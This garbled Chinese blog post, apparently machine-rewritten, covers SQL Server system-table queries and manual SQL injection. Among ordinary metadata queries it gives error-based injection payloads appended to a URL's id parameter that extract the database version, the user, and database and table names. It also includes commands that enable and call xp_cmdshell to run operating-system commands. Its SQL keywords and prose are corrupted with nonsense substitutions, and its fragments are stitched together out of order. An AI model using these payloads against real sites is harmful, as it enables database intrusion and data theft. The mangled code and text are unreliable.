文章介绍了关于sql决断表名与字段名是不是留存语句有亟待的同窗参考一下。

Title:Mssql显错和不显错格局下的流入 — 二〇〇八-10-27 19:51

复制代码 代码如下:–设置sql
能够获得实例名称sp_configure ‘xp_cmdshell’ , 1;goreconfigure;go

复制代码 代码如下: SELECT Name FROM
Master..SysDatabases ORubiconDE本田CR-V BY Name –获得全数数据库 SELECT Name FROM
[多少库名]..SysObjects Where XType=’U’ O揽胜DE奥迪Q5 BY Name
–获得数据库下的保有表 select name from syscolumns where
id=object_id(N’表名’) –获得表里的具备字段
–获取表字段名、类型、依次增加、描述 复制代码
代码如下: select syscolumns.name as 字段,syscolumns.isnullable as
可不可以为空,systypes.name as SQL类型,
ISNULL(sys.identity_columns.is_identity,0) as 递增,
ISNULL(sys.extended_properties.value,”) as 描述 from sysobjects join
syscolumns on sysobjects.id = syscolumns.id join systypes on
syscolumns.xusertype = systypes.xusertype left join
sys.identity_columns on sys.identity_columns.object_id =
syscolumns.id and sys.identity_columns.column_id = syscolumns.colid
left join sys.extended_properties on sys.extended_properties.major_id
= syscolumns.id and sys.extended_properties.minor_id =
syscolumns.colid where sysobjects.name = ‘表名’

1.字段是或不是留存

新近用手工业注入用习于旧贯了,便列出近来用的Mssql语句,未来方便拿来用!

–获得实例名EXEC sys .xp_cmdshell ‘sqlcmd -Lc’

代码如下复制代码


–获得拥有数据库Select * FROM Master..SysDatabases order by Name

if((select count(*) from syscolumns where name = ‘字段名’ and
id=(select id from sysobjects where name=’表名’))=0)begin

Mssql注释符:

–得到数据库全数表use yeekang —数据库名称select * from sysobjects
where type = ‘U’ order by name

end

#

–拿到内定表字段select * from syscolumns where id=
OBJECT_ID(‘Userinfo’ )

2.表是或不是留存

SELECT表名 =case when a .colorder= 1 then d.name else ” end ,表表达=case when a .colorder= 1 then isnull(f .value, ”卡塔尔国 else ” end,字段序号
=a. colorder,字段名 =a. name,标记 =case when COLUMNPROPERTY ( a .id,
a.name ,’IsIdentity’卡塔尔国= 1 then ‘√’ else ” end ,主键 =case when exists(
SELECT 1 FROM sysobjects where xtype =’PK’ and name in (SELECT name FROM
sysindexes WHERE indid in(SELECT indid FROM sysindexkeys WHERE id = a
.id AND colid =a. colid卡塔尔(قطر‎卡塔尔国卡塔尔国 then ‘√ ‘ else ” end,类型 =b.
name,占用字节数 =a. length,长度 =COLUMNPROPERTY( a.id ,a.
name,’PRECISION’ 卡塔尔,小数位数 =isnull( COLUMNPROPERTY(a .id, a.name
,’Scale’卡塔尔, 0卡塔尔国,允许空 =case when a .isnullable= 1 then ‘√’ else ”
end,暗中认可值 =isnull( e.text ,”卡塔尔,字段表达 =isnull( g.[value] ,”卡塔尔复制代码 代码如下:FROM syscolumns aleft join
systypes b on a. xusertype=b .xusertypeinner join sysobjects d on a.
id=d .id and d .xtype= ‘U’ and d.name ‘dtproperties’left join
syscomments e on a. cdefault=e .idleft join sys. extended_properties g
on a.id =g. major_id and a.colid =g. minor_idleft join sys.
extended_properties f on d.id =f. major_id and f. minor_id=0where a
.id= OBJECT_ID(‘Userinfo’ )order by a. id,a .colorder另一例:

代码如下复制代码

显错方式的:

在SQL
Server数据库中每贰个数据库都有八个sysobjects系统表,这些表里面存款和储蓄了当下数据库的具备目的,包涵对象表,客户表,视图,触发器,限定,默许值,日志,和存款和储蓄进度的信。

if exists (select * from sysobjects where id = OBJECT_ID(‘表名’) and
OBJECTPROPERTY(id, ‘IsUserTable’) = 1) DROP TABLE 表名

推断是还是不是协助多行

先列一下那张表的部分字段名:

;declare @x int–

name 对象名id 对象标暗号xtype 对象类型uid 全部者对象的顾客IDparent_obj
父对象的靶子标志号crdate 对象的创始日期ftcatid
为全文索引注册的有着客商表的全文目录标志符schema_ver 版本号,category
用于发表,限制和标记

翻看当前数据库版本

爱上下边包车型大巴字段你应当早已知道了吧…xtype这一个字段正是规定目的类型的…

URL?id=13 and @@version>0–

生机勃勃旦你想获得数据库中有所的表消息,你能够写如下的查询语句:复制代码 代码如下:select * from sysobjects
where xtype=’u’

查看当前连续几天数据库客户

假设您想得到数据库中拥有的囤积进度的音讯,你能够写如下的查询语句:复制代码 代码如下:select * from sysobjects
where xtype=’p’

URL?id=13 and user>0–

例如您想得到数据库中有着的视图消息,你能够写如下的查询语句:复制代码 代码如下:select * from sysobjects
where xtype=’v’

查阅当前数量库名

固然您想获取数据库中具备的触发器音讯,你能够写如下的查询语句:复制代码 代码如下:select * from sysobjects
where xtype=’tr’获取SQL全部数据库名、全部表名、全部字段名

URL?id=13 and db_name()>0–

1.得到具备数据库名:

爆数据库名

Select Name FROM Master..SysDatabases orDER BY Name

URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))–

2.获取具有表名: 复制代码 代码如下:Select
Name FROM DatabaseName..SysObjects Where XType=’U’ orDE昂科雷 BY Name

//dbid<7的为系统库名

XType=’U’:表示全数顾客表;

爆当前数据库表名

XType=’S’:表示全种类统表;

URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’))–

3.拿到具备字段名: 复制代码
代码如下:Select Name FROM SysColumns Where id=Object_Id(‘TableName’)

Author

发表评论

电子邮件地址不会被公开。 必填项已用*标注